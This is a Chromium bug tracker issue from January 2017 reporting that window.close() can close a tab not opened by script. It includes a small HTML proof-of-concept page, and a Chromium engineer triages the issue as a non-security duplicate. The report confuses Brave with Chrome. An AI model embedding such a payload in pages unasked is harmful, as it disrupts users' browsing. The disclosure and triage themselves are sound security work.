New issue
Advanced search Search tips

Issue 680546 link

Starred by 1 user
Status: Duplicate
Merged: issue 662994
Owner: ----
Closed: Jan 2017
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: ----
Type: Bug



Sign in to add a comment

window.close closes tabs not opened by script

Reported by ali.wami...@gmail.com, Jan 12 2017 
Summary:

hey there,

The Google Chrome browser is vulnerable to window object based denial of
service attack. The brave browser fails to sanitize a check when window.close()
function is called in number of dynamically generated events.. The
function is called in a suppressed manner and kills the parent window
directly by default which makes it vulnerable to denial of service attack.

When an attacker sends an html file to victim :-
<html>
<title>Brave Window Object Remote Denial of Service.</title>
<head></head>

<body><br><br>
<h1><center> Google Chrome Window Object Remote Denial of Service</center></h1><br><br>
<h2><center>Proof of Concept</center></br></br> </h2>

<center>
Click the below link to Trigger the Vulnerability..<br><br>
<hr></hr>
<hr></hr>
<b><center><a href="javascript:window.close(self);"> Google Chrome Window Object DoS Test POC</a></center>

</center>
</body>

</html>


Here window.close() method should be sanitized and should not close the current window.I tested it in Firefox and and this widow object is validated there and current window doesn't close.

This security issue is a result of design flaw in the browser.Scripts must not close windows that were not opened by script,if script specific code is designed.
There must be a parent window confirmation check prior to close of window.

Products affected:Google Chrome	57.0.2970.0 (Official Build) dev (32-bit)

Steps To Reproduce:

1 Open the HTML file in  Google Chrome browser 57.0.2970.0 (Official Build) dev (32-bit)
 in your Windows platform
GOOGLE(window) (1).html
488 bytes View Download

Comment 1 by elawrence@chromium.org, Jan 12 2017

Labels: -Type-Bug-Security -Restrict-View-SecurityTeam Type-Bug
Mergedinto: 662994
Status: Duplicate (was: Unconfirmed)
Summary: window.close closes tabs not opened by script (was: Security: Denial of service attack(window object) on Google Chrome)
This is likely a variant/duplicate of Issue 6773, and looks like an exact copy of  issue 662994 .

Chrome does not track DoS issues as security vulnerabilities. https://dev.chromium.org/Home/chromium-security/security-faq#TOC-Are-denial-of-service-issues-considered-security-bugs-

In Firefox, this indeed throws an exception "Scripts may not close windows that were not opened by script."

In Chrome, the window closes.
►

Sign in to add a comment